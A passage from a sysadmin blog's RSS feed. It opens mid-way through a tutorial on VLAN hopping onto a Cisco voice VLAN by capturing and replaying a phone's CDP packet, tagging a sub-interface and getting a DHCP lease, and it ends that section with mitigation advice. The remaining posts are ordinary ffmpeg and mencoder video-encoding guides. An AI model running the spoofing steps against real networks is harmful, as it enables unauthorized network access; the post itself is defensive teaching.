	<strong><em>Port-ID</em></strong> (0x03), length: 16 bytes: '<strong><em>FastEthernet0/24</em></strong>'<br />
	Capability (0x04), length: 4 bytes: (0x00000028): L2 Switch, IGMP snooping<br />
	Protocol-Hello option (0x08), length: 32 bytes:<br />
	VTP Management Domain (0x09), length: 9 bytes: 'LABVTP'<br />
	Native VLAN ID (0x0a), length: 2 bytes: 1<br />
	Duplex (0x0b), length: 1 byte: full<br />
	ATA-186 <strong><em>VoIP VLAN request</em></strong> (0x0e), length: 3 bytes: app 1, <strong><em>vlan 64</em></strong><br />
	AVVID trust bitmap (0x12), length: 1 byte: 0x00<br />
	AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00<br />
	Management Addresses (0x16), length: 13 bytes: IPv4 (1) 10.1.1.1<br />
	unknown field type (0x1a), length: 12 bytes:<br />
	  0x0000:  0000 0001 0000 0000 ffff ffff</code></p></blockquote>
<p><strong>Capture a Sample VoIP phone CDP Packet</strong></p>
<p>Plug the Cisco VoIP phone back into the switch port and wait for it to come back online.  Plug your laptop back into the data port of the phone in your typical daisy-chain topology.  Use <code>tcpdump</code> again to capture a single CDP packet, saving it to a capture file.  If you&#8217;re plugged into the phone, the only CDP packets you should see are those sent by the phone.  These CDP packets should be neatly constructed with all of the appropriate voice VLAN values.  From the switches perspective (and network administrators monitoring CDP tables), it will look exactly as if a phone is connected to the port, down to the phone model and serial number.  ;-)</p>
<p>The following <code>tcpdump</code> filter looks for the CDP destination MAC address, stops after one packet, and saves it to a file called <code>cdp-packet.cap</code>.  You will use this CDP packet capture file in your replay attack.</p>
<blockquote><p><code><strong>sudo tcpdump -s 0 -w cdp-packet.cap -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc</strong><br />
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes<br />
1 packets captured<br />
1 packets received by filter<br />
0 packets dropped by kernel</code></p></blockquote>
<p>Verify the CDP packet details by reading the capture file with <code>tcpdump</code>.  The following shows that everything is in order, including the VoIP VLAN Request for VLAN 64, which highlighted below.</p>
<blockquote><p><code><strong>sudo tcpdump -vr cdp-packet.cap</strong><br />
reading from file cdp-packet.cap, link-type EN10MB (Ethernet)<br />
09:44:42.263551 CDPv2, ttl: 180s, checksum: 692 (unverified), length 125<br />
	<strong><em>Device-ID</em></strong> (0x01), length: 15 bytes: '<strong><em>SEP0015626A51E9</em></strong>'<br />
	Address (0x02), length: 13 bytes: IPv4 (1) 10.1.64.10<br />
	Port-ID (0x03), length: 6 bytes: 'Port 2'<br />
	Capability (0x04), length: 4 bytes: (0x00000490): L3 capable<br />
	Version String (0x05), length: 12 bytes:<br />
	  P00308010100<br />
	Platform (0x06), length: 19 bytes: '<strong><em>Cisco IP Phone 7940</em></strong>'<br />
	Native VLAN ID (0x0a), length: 2 bytes: 1<br />
	Duplex (0x0b), length: 1 byte: full<br />
	ATA-186 <strong>VoIP VLAN request</strong> (0x0e), length: 3 bytes: app 1, <strong>vlan 64</strong><br />
	AVVID trust bitmap (0x12), length: 1 byte: 0x00<br />
	AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00<br />
</code></p></blockquote>
<p><strong>Replay CDP Packets to Spoof a Cisco VoIP Phone</strong></p>
<p>You&#8217;ll want to unplug the phone from the switch and plug your computer into the switch port directly.  Using the <code>tcpreplay</code> command, you can read and inject the contents of the packet capture file from the previous step, effectively spoofing the Cisco VoIP phone.  When the switch receives this packet, the voice VLAN will be available to use.</p>
<blockquote><p><code><strong>sudo tcpreplay -i eth0 cdp-packet.cap</strong><br />
Actual: 1 packets (147 bytes) sent in 0.06 seconds<br />
Rated: 2450.0 bps, 0.02 Mbps, 16.67 pps<br />
Statistics for network device: eth0<br />
	Attempted packets:         1<br />
	Successful packets:        1<br />
	Failed packets:            0<br />
	Retried packets (ENOBUFS): 0<br />
	Retried packets (EAGAIN):  0</code></p></blockquote>
<p>Once the Voice VLAN is enabled, you will only have a limited amount of time to use it.  A typical Cisco phone will send a CDP packet every 60 seconds, so you can simulate this behavior by running your command in a timed loop.  I prefer to use the <code>watch</code> command, and leave it running in a terminal until it&#8217;s no longer needed.  Using the command below, the CDP packet will be replayed every 60 seconds.</p>
<blockquote><p><code><strong>sudo watch -n 60 "tcpreplay -i eth0 cdp-packet.cap"</strong></code></p></blockquote>
<p><strong>Access Voice VLAN with 802.1q Sub-interface</strong></p>
<p>In order for you to access the voice VLAN, you must add a sub-interface for <code>eth0</code> using the <code>vconfig</code> command.  The following example uses <code>vconfig</code> to add a sub-interface that tags packets to access VLAN 64.  The sub-interface will be named <code>eth0.64</code> as shown below.</p>
<blockquote><p><code><strong>sudo vconfig add eth0 64</strong><br />
Added VLAN with VID == 64 to IF -:eth0:-</code></p>
<p><code><strong>ifconfig eth0.64</strong><br />
eth0.64   Link encap:Ethernet  HWaddr 00:26:b9:bc:5b:68<br />
          BROADCAST MULTICAST  MTU:1500  Metric:1<br />
          RX packets:95 errors:0 dropped:0 overruns:0 frame:0<br />
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0<br />
          collisions:0 txqueuelen:0<br />
          RX bytes:4370 (4.3 KB)  TX bytes:0 (0.0 B)</code></p></blockquote>
<p>At this point you can access the VLAN in any fashion you see fit.  For example, you can obtain an IP address via DHCP and test communication by pinging your default gateway as shown below.</p>
<blockquote><p><code><strong>sudo dhclient3 eth0.64</strong><br />
Listening on LPF/eth0.64/00:26:b9:bc:5b:68<br />
Sending on   LPF/eth0.64/00:26:b9:bc:5b:68<br />
Sending on   Socket/fallback<br />
DHCPDISCOVER on eth0.64 to 255.255.255.255 port 67 interval 3<br />
DHCPOFFER of 10.1.64.11 from 10.1.64.5<br />
DHCPREQUEST of 10.1.64.11 on eth0.64 to 255.255.255.255 port 67<br />
DHCPACK of 10.1.64.11 from 10.1.64.5<br />
bound to 10.1.64.11 -- renewal in 35707 seconds.</code></p>
<p><code><strong>ping -c 4 10.1.64.1</strong><br />
PING 10.1.64.1 (10.1.64.1) 56(84) bytes of data.<br />
64 bytes from 10.1.64.1: icmp_seq=1 ttl=64 time=2.88 ms<br />
64 bytes from 10.1.64.1: icmp_seq=2 ttl=64 time=2.85 ms<br />
64 bytes from 10.1.64.1: icmp_seq=3 ttl=64 time=2.84 ms<br />
64 bytes from 10.1.64.1: icmp_seq=4 ttl=64 time=2.30 ms</code></p>
<p><code>--- 10.1.64.1 ping statistics ---<br />
4 packets transmitted, 4 received, 0% packet loss, time 3005ms<br />
rtt min/avg/max/mdev = 2.303/2.721/2.888/0.244 ms</code></p></blockquote>
<p><strong>Mitigation&#8230; Aww, Bummer&#8230;</strong></p>
<p>Unfortunately, there is currently no way to prevent this method of unauthorized voice VLAN access.  Remember, this &#8220;vulnerability&#8221; is really just a limitation of the voice VLAN negotiation process.  It&#8217;s not new (see the following <a href="http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_security_notice09186a008048e0d6.html" target="_blank">Cisco security bulletin<a/> from 2005), but I suspect it will become a bigger problem as more organizations begin to deploy VoIP with little thought going into layered defenses and access protection.</p>
<p>However, for network administrators that wish to <em>limit</em> the threat associated to unauthorized voice VLAN access, consider the following recommendations.</p>
<p>1. Enable security features that prevent layer-2/3 man-in-the-middle and other nefarious attacks.  DHCP Snooping, Dynamic ARP Inspection, Port-Security, and IP Source Guard will help in keeping attackers from intercepting voice traffic, and a number of other threats associated with layer-2/3 spoofing.</p>
<p>2. Add VLAN access lists and Layer-3 boundary ACL&#8217;s limiting clients on the Voice VLAN to access only resources required for VoIP functionality.  By limiting voice VLAN communication to the minimum required protocols and port numbers, you will greatly reduce the attack surface for the rest of your network.</p>
<p>3. Apply QoS policies that limit the effects of attempted Denial of Service attacks against the VoIP infrastructure.  Auto QoS and even simple Storm Control features can help limit traffic, and actively notify administrators of abnormal traffic patterns.</p>
<p>4. Protect your IP telephony system at the application layer by requiring VoIP phone authentication and encryption.</p>
<p>There are some really cool projects dedicated to exploiting this vulnerability and similar weaknesses by other manufacturers.  One such tool called <a href="http://voiphopper.sourceforge.net" target="_blank">VoIP Hopper</a> completely automates the above process.  It even comes with it&#8217;s own built-in DHCP client, and is kind enough to automatically generate pre-constructed CDP packets for you.  </p>
<p>I hope you have found this tutorial useful.  Feel free to add comments, suggestions, or drop me an email for confidential questions!</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Extract AC3 Dolby Digital with FFMpeg</title>
		<link>http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/</link>
		<comments>http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 19:02:01 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[AC3]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[FFMpeg]]></category>
		<category><![CDATA[Multimedia]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=401</guid>
		<description><![CDATA[If you have a source video file encoded with an AC3 Dolby Digital audio stream, you can extract the audio in it&#8217;s native format using FFMpeg. The following example shows how to identify the available audio streams of the file video.avi. Just use ffmpeg without any output options, and you can see there are two [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/' rel='bookmark' title='Convert 3gp Videos to XviD AVI'>Convert 3gp Videos to XviD AVI</a></li>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you have a source video file encoded with an AC3 Dolby Digital audio stream, you can extract the audio in it&#8217;s native format using FFMpeg.</p>
<p>The following example shows how to identify the available audio streams of the file <code>video.avi</code>.  Just use ffmpeg without any output options, and you can see there are two streams (0.0 and 0.1), the second is AC3 audio.</p>
<blockquote><p><code><strong>ffmpeg -i video.avi</strong><br />
Input #0, avi, from 'video.avi':<br />
  Duration: 01:17:57.64, start: 0.000000, bitrate: 1587 kb/s<br />
    Stream #0.0: Video: mpeg4, yuv420p, 672x576 (snipped for brevity)<br />
    Stream #0.1: Audio: ac3, 48000 Hz, 5.1, s16, 448 kb/s<br />
At least one output file must be specified</code></p></blockquote>
<p>The following command will extract the AC3 audio stream to a file called <code>audio.ac3</code>.</p>
<blockquote><p><code><strong>ffmpeg -i video.avi -acodec copy audio.ac3</strong><br />
Input #0, avi, from 'video.avi':<br />
  Duration: 01:17:57.64, start: 0.000000, bitrate: 1587 kb/s<br />
    Stream #0.0: Video: mpeg4, yuv420p, 672x576 (snipped for brevity)<br />
    Stream #0.1: Audio: ac3, 48000 Hz, 5.1, s16, 448 kb/s<br />
Output #0, ac3, to 'audio.ac3':<br />
    Stream #0.0: Audio: ac3, 48000 Hz, 5.1, s16, 448 kb/s<br />
Stream mapping:<br />
  Stream #0.1 -> #0.0<br />
Press [q] to stop encoding<br />
size=  255799kB time=4677.51 bitrate= 448.0kbits/s<br />
video:0kB audio:255799kB global headers:0kB muxing overhead 0.000000%</code></p></blockquote>
<p>Verify the file was created.  The output below shows that this stream is about 250Mb.</p>
<blockquote><p><code><strong>ls -lh audio.ac3 </strong><br />
-rw-r--r-- 1 username gmendoza 250M 2010-02-21 09:47 audio.ac3</code></p></blockquote>
<p>You can now use ffmpeg again to show that <code>audio.ac3</code> only contains the ac3 audio stream.</p>
<blockquote><p><code><strong>ffmpeg -i audio.ac3</strong><br />
Input #0, ac3, from 'audio.ac3':<br />
  Duration: 01:17:57.46, bitrate: 448 kb/s<br />
    Stream #0.0: Audio: ac3, 48000 Hz, 5.1, s16, 448 kb/s<br />
At least one output file must be specified</code></p></blockquote>
<p>Now that you have extracted the audio stream, you can do anything you wish with it.  Enjoy.</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/' rel='bookmark' title='Convert 3gp Videos to XviD AVI'>Convert 3gp Videos to XviD AVI</a></li>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DVD to XviD Encoding with Mencoder</title>
		<link>http://savvyadmin.com/dvd-to-xvid-encoding-with-mencoder/</link>
		<comments>http://savvyadmin.com/dvd-to-xvid-encoding-with-mencoder/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 01:44:55 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[DVD]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[lsdvd]]></category>
		<category><![CDATA[mencoder]]></category>
		<category><![CDATA[mplayer]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Xvid]]></category>

		<guid isPermaLink="false">http://savvyadmin.com/?p=568</guid>
		<description><![CDATA[If you would like to copy a DVD to an XviD video file using Linux, doing so from the command line offers a number of flexibility benefits over many graphical tools. Two fantastic tools for the job are lsdvd and mencoder. I like lsdvd because it provides a great deal of information in an easy [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/using-mencoder-profiles/' rel='bookmark' title='Using Mencoder Profiles'>Using Mencoder Profiles</a></li>
<li><a href='http://savvyadmin.com/convert-mkv-to-xvid-with-mencoder/' rel='bookmark' title='Convert MKV to Xvid with Mencoder'>Convert MKV to Xvid with Mencoder</a></li>
<li><a href='http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/' rel='bookmark' title='Convert 3gp Videos to XviD AVI'>Convert 3gp Videos to XviD AVI</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you would like to copy a DVD to an XviD video file using Linux, doing so from the command line offers a number of flexibility benefits over many graphical tools.  Two fantastic tools for the job are <code>lsdvd</code> and <code>mencoder</code>.  I like <code>lsdvd</code> because it provides a great deal of information in an easy to read format, and <code>mencoder</code> is just a phenomenal tool for multimedia encoding.</p>
<p>There are some pre-requisite applications you need in order to follow along.  Be sure to install <code>mplayer</code>, <code>mencoder</code>, <code>lsdvd</code>, <code>lame</code>, and if your DVD&#8217;s are encrypted, the <code>libdvdcss2</code> libraries.  If using Ubuntu, Debian, etc, then all are available in the repositories, except <code>libdvdcss2</code> which is available in the <a href="http://www.medibuntu.org/" target="_blank">Medibuntu repositories</a>.</p>
<p><strong>Quick XviD Encoding Examples (For the Impatient)</strong></p>
<p>In the following examples, we&#8217;ll use <code>mencoder</code> with the most basic of options, allowing <code>mencoder</code> to decide which video and audio streams to use.  Mencoder&#8217;s choice may not be what you want, and the audio will also be converted to a high quality VBR stereo MP3.  Adjust any settings as you see fit.</p>
<p><strong>Single-Pass Encoding</strong></p>
<p>Fixed Quantizer Value of 4 (Good quality, decent file size)</p>
<blockquote><p><code><strong>mencoder dvd:// -oac mp3lame -lameopts q=0:aq=0 \<br />
-ovc xvid -xvidencopts fixed_quant=4:autoaspect -o video.avi</strong></code></p></blockquote>
<p>Fixed Quantizer Value of 2 (High quality, larger file size)</p>
<blockquote><p><code><strong>mencoder dvd:// -oac mp3lame -lameopts q=0:aq=0 \<br />
-ovc xvid -xvidencopts fixed_quant=2:autoaspect -o video.avi</strong></code></p></blockquote>
<p><strong>Two Pass Encoding </strong></p>
<p>Pass 1: (no need for audio or quality settings such as bitrate)</p>
<blockquote><p><code><strong>mencoder dvd:// -nosound -passlogfile pass1.log \<br />
-ovc xvid -xvidencopts pass=1:turbo:autoaspect -o /dev/null</strong></code></p></blockquote>
<p>Pass 2 Option 1: (VBR ~ 1500 kbps)</p>
<blockquote><p><code><strong>mencoder dvd:// -oac mp3lame -lameopts q=0:aq=0 -passlogfile pass1.log \<br />
-ovc xvid -xvidencopts pass=2:autoaspect:bitrate=1500 -o video.avi</strong></code></p></blockquote>
<p>Pass 2 Option 2: (VBR ~ Restrict final video size to 1.5 Gb)</p>
<blockquote><p><code><strong>mencoder dvd:// -oac mp3lame -lameopts q=0:aq=0 -passlogfile pass1.log \<br />
-ovc xvid -xvidencopts pass=2:autoaspect:bitrate=-1500000 -o video.avi</strong></code></p></blockquote>
<p><strong>Basic Source Selection Examples</strong></p>
<p>If you are copying a DVD directly from a physical disc as the examples throughout this post will assume, the following two examples will work.  The first automatically selects title 1, and the second specifies title 2.</p>
<blockquote><p><code><strong>mencoder dvd:// (other options)<br />
mencoder dvd://2 (other options)</strong></code></p></blockquote>
<p>If you&#8217;re encoding a DVD from an ISO or similar image file, or have the contents of a DVD extracted to directory, use the <code>-dvd-device</code> option as shown below.</p>
<blockquote><p><code><strong>mencoder dvd:// -dvd-device video.iso (other options)<br />
mencoder dvd:// -dvd-device /path/to/dvd_directory/ (other options)</strong></code></p></blockquote>
<p><strong>Basic Audio Examples</strong></p>
<p>To encode the selected audio stream to a high quality VBR stereo MP3 format.</p>
<blockquote><p><code><strong>mencoder dvd:// -oac mp3lame -lameopts q=0:aq=0 (other options)</strong></code></p></blockquote>
<p>If the source audio stream is encoded as AC3 or DTS 5.1 (6 Channels), you can simply copy the stream, but remember to specify 6 channels.  The default is 2.</p>
<blockquote><p><code><strong>mencoder dvd:// -oac copy -channels 6 (other options)</strong></code></p></blockquote>
<p>To exclude all sound, which is useful for the first pass of a two-pass job, or if you prefer to multiplex the audio later, use the <code>-nosound</code> option.</p>
<blockquote><p><code><strong>mencoder dvd:// -nosound (other options)</strong></code></p></blockquote>
<p><strong>Gathering Source Video Information for Informed Encoding Decisions</strong></p>
<p>First you should identify which DVD title tracks are available, so you can determine which one you want to copy.  Most DVDs will place the movie as the first track, but you may not always be that lucky.  You can use lsdvd to list the number of titles, chapters, and audio tracks on your DVD.</p>
<blockquote><p><code><strong>lsdvd /dev/dvd</strong><br />
Disc Title: DVD_TITLE<br />
Title: 01, Length: 01:26:08.200 Chapters: 13, Cells: 13, Audio streams: 02, Subpictures: 01<br />
Title: 02, Length: 00:02:01.120 Chapters: 01, Cells: 01, Audio streams: 02, Subpictures: 01<br />
Title: 03, Length: 00:02:26.120 Chapters: 01, Cells: 01, Audio streams: 02, Subpictures: 01<br />
Longest track: 01</code></p></blockquote>
<p>In the example above, we found that Title 01 is the longest at 1 hour 26 minutes, has 13 chapters and 2 audio streams.</p>
<p>Use <code>lsdvd</code> again to gather additional information about video properties of this specific title.</p>
<blockquote><p><code><strong>lsdvd -v -t 1 /dev/dvd</strong><br />
Disc Title: DVD_TITLE<br />
Title: 01, Length: 01:26:08.200 Chapters: 13, Cells: 13, Audio streams: 02, Subpictures: 01<br />
	VTS: 01, TTN: 01, FPS: 25.00, Format: PAL, Aspect ratio: 4/3, Width: 720, Height: 576, DF: ?</code></p></blockquote>
<p>From the output above, we see that this video is in the PAL format at 25.00 frames per second and an aspect ratio of 4/3.  Use mplayer to play this title and verify it&#8217;s the one you want.</p>
<blockquote><p><code><strong>mplayer dvd://1</strong></code></p></blockquote>
<p><strong>Gathering Source Audio Information</strong></p>
<p>Use lsdvd to give you more detail on the available audio streams for the title you&#8217;re working on.</p>
<blockquote><p><code><strong>lsdvd -a -t 1 /dev/dvd</strong><br />
Disc Title: DVD_TITLE<br />
Title: 01, Length: 01:26:08.200 Chapters: 13, Cells: 13, Audio streams: 02, Subpictures: 01<br />
	Audio: 1, Language: nl - Nederlands, Format: ac3, Frequency: 48000, Quantization: drc, Channels: 2, AP: 0, Content: Undefined, Stream id: 0x80<br />
	Audio: 2, Language: en - English, Format: ac3, Frequency: 48000, Quantization: drc, Channels: 2, AP: 0, Content: Undefined, Stream id: 0x81</code></p></blockquote>
<p>The output above shows that there are two audio streams, both AC3 Dolby Digital, however only the second one is in English.  Mencoder and mplayer allow you to specify your desired audio stream by language as shown in the following example.</p>
<blockquote><p><code><strong>mencoder dvd://1 -alang eng <em>(other options)</em></strong></code></p></blockquote>
<p>If your source has multiple English streams, you can specify which particular audio ID (aid) you want.  Mplayer can be used to display all available audio identifiers of a DVD.  The following command is a little long but it should serve you well.</p>
<blockquote><p><code><strong>mplayer dvd://1  -identify -frames 0 -vo null 2>&#038;1 | grep aid</strong><br />
audio stream: 0 format: ac3 (stereo) language: nl aid: 128.<br />
audio stream: 1 format: ac3 (stereo) language: en aid: 129.</code></p></blockquote>
<p>From the output above, the English AC3 audio stream we want is identified by aid 129.  It can be specified when using mplayer and mencoder as shown below.</p>
<blockquote><p><code><strong>mencoder dvd://1 -aid 129 <em>(other options)</em></strong></code></p></blockquote>
<p><strong>Advanced Single-Pass XviD Encoding</strong></p>
<p>As mentioned before, you can encode your video using a single-pass fixed quantizer mode.  It may not be as efficient in size and quality as opposed to a two-pass method, but it can save some time and complexity.  Here&#8217;s the more advanced encoding options I tend to use for virtually all of my XviD encoding jobs, coupled with the information we gathered from above.  A <code>fixed_quant</code> value between 2 and 4 work very well.  The lower the number the higher the quality and larger the resulting file size.</p>
<blockquote><p><code><strong>mencoder dvd://1 -alang eng -oac mp3lame -lameopts q=0:aq=0 \<br />
-ovc xvid -xvidencopts fixed_quant=4:autoaspect:max_key_interval=25:\<br />
vhq=2:bvhq=1:trellis:hq_ac:chroma_me:chroma_opt:quant_type=mpeg \<br />
 -o video.avi</strong></code></p></blockquote>
<p>I added a number of quality settings as discussed both in the <code>mencoder</code> man page and this <a href="http://www.mplayerhq.hu/DOCS/HTML/en/menc-feat-xvid.html" target="_blank">useful link here</a>.  </p>
<p>One option that seems to lack a lot of documentation is the <code>max_key_interval</code> setting.  It influences the seekability of the encoded video.  By default, the <code>max_key_interval</code> is set to a value of 250, which adds an I-frame at a maximum interval of 250 frames.  This equates to approximately every 10 seconds depending on the frame rate of your source video.  I like to set the value to 25 which is pretty low and results in a slightly larger file, but provides a seek accuracy of about 1 second.  That&#8217;s just my preference, so feel free to change it as you wish.</p>
<p><strong>Advanced Two-Pass XviD Encoding</strong></p>
<p>Using the same advanced XviD encoding options as above, here&#8217;s what a two pass encoding job would look like.</p>
<blockquote><p><code><strong>mencoder dvd:// -nosound -passlogfile pass1.log \<br />
-ovc xvid -xvidencopts pass=1:turbo:autoaspect:vhq=0:max_key_interval=25 \<br />
-o /dev/null<br />
</strong></code></p>
<p><code><strong>mencoder dvd:// -oac mp3lame -lameopts q=0:aq=0 -passlogfile pass1.log \<br />
-ovc xvid -xvidencopts pass=2:autoaspect:max_key_interval=25:bitrate=1500:\<br />
vhq=2:bvhq=1:trellis:hq_ac:chroma_me:chroma_opt:quant_type=mpeg -o video.avi</strong></code></p></blockquote>
<p><strong>Cropping Black Borders</strong></p>
<p>If your video source has black borders, you can crop them out to reduce the overall size of your video.  For example, you video may resemble the following diagram.</p>
<div id="attachment_633" class="wp-caption aligncenter" style="width: 552px"><a href="http://savvyadmin.com/wp-content/uploads/2010/02/movie-uncropped.png"><img src="http://savvyadmin.com/wp-content/uploads/2010/02/movie-uncropped.png" alt="" title="movie-uncropped" width="542" height="361" class="size-full wp-image-633" /></a><p class="wp-caption-text">Video with black borders</p></div>
<p>These borders can be cropped with a video filter <code>-vf crop=w:h:x:y</code> where w, h, x and y are the width, height, x and y coordinates.  To help determine which crop values are appropriate, first play your video with <code>mplayer</code> using the <code>-vf cropdetect</code> option, and seek through the movie to bright points of the movie where the black borders are clearly visible.  Dark opening scenes may give you inaccurate edge readings.</p>
<blockquote><p><code><strong>mencoder dvd:// -vf cropdetect</strong><br />
(snipped for brevity)<br />
[CROP] Crop area: X: 6..711  Y: 0..575  (-vf crop=704:576:8:0).0 0<br />
[CROP] Crop area: X: 6..711  Y: 0..575  (-vf crop=704:576:8:0).0 0<br />
[CROP] Crop area: X: 6..711  Y: 0..575  (-vf crop=704:576:8:0).0 0<br />
[CROP] Crop area: X: 6..711  Y: 0..575  (-vf crop=704:576:8:0).0 0<br />
[CROP] Crop area: X: 6..711  Y: 0..575  (-vf crop=704:576:8:0).0 0<br />
</code></p></blockquote>
<p>Copy the values that <code>mplayer</code> displays in the background terminal as the example above shows and use them like the following.</p>
<blockquote><p><code><strong>mencoder dvd:// -vf crop=704:576:8:0 (other options)</strong></code></p></blockquote>
<p><strong>Conclusion</strong></p>
<p>I hope this post provides you with detail that helps you with your DVD encoding endeavors.  Please feel free to post your comments, questions and tips.  If needed, I&#8217;ll adjust the post to include your valuable input!</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/using-mencoder-profiles/' rel='bookmark' title='Using Mencoder Profiles'>Using Mencoder Profiles</a></li>
<li><a href='http://savvyadmin.com/convert-mkv-to-xvid-with-mencoder/' rel='bookmark' title='Convert MKV to Xvid with Mencoder'>Convert MKV to Xvid with Mencoder</a></li>
<li><a href='http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/' rel='bookmark' title='Convert 3gp Videos to XviD AVI'>Convert 3gp Videos to XviD AVI</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/dvd-to-xvid-encoding-with-mencoder/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Convert 3gp Videos to XviD AVI</title>
		<link>http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/</link>
		<comments>http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/#comments</comments>
		<pubDate>Sat, 13 Feb 2010 18:30:33 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[3gp]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[FFMpeg]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://savvyadmin.com/?p=581</guid>
		<description><![CDATA[3gp is the container format used when recording video with many mobile phones, which can be a pain when trying to view them using a number of multimedia players. Fortunately, converting videos from 3gp to XviD AVI is easy with FFmpeg. Usually, there&#8217;s not much to the quality of these types of source video files, [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/convert-video-files-to-dvd/' rel='bookmark' title='Convert Video Files to DVD'>Convert Video Files to DVD</a></li>
<li><a href='http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/' rel='bookmark' title='Extract AC3 Dolby Digital with FFMpeg'>Extract AC3 Dolby Digital with FFMpeg</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/3GP" target="_blank">3gp</a> is the container format used when recording video with many mobile phones, which can be a pain when trying to view them using a number of multimedia players.  Fortunately, converting videos from <a href="http://en.wikipedia.org/wiki/3GP" target="_blank">3gp</a> to XviD AVI is easy with <a href="http://ffmpeg.org/" target="_blank">FFmpeg</a>.</p>
<p>Usually, there&#8217;s not much to the quality of these types of source video files, so many of the more complex video and audio options aren&#8217;t needed.  A simple FFmpeg command that retains as much quality as possible would look like the following.</p>
<blockquote><p><code><strong>ffmpeg -i video.3gp -acodec libmp3lame -vcodec libxvid -qscale 2 -f avi video.avi</strong></code></p></blockquote>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/convert-video-files-to-dvd/' rel='bookmark' title='Convert Video Files to DVD'>Convert Video Files to DVD</a></li>
<li><a href='http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/' rel='bookmark' title='Extract AC3 Dolby Digital with FFMpeg'>Extract AC3 Dolby Digital with FFMpeg</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/convert-3gp-videos-to-xvid-avi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Extract Audio from Video Files to WAV using FFmpeg</title>
		<link>http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/</link>
		<comments>http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 04:49:47 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[FFMpeg]]></category>
		<category><![CDATA[MKV]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=537</guid>
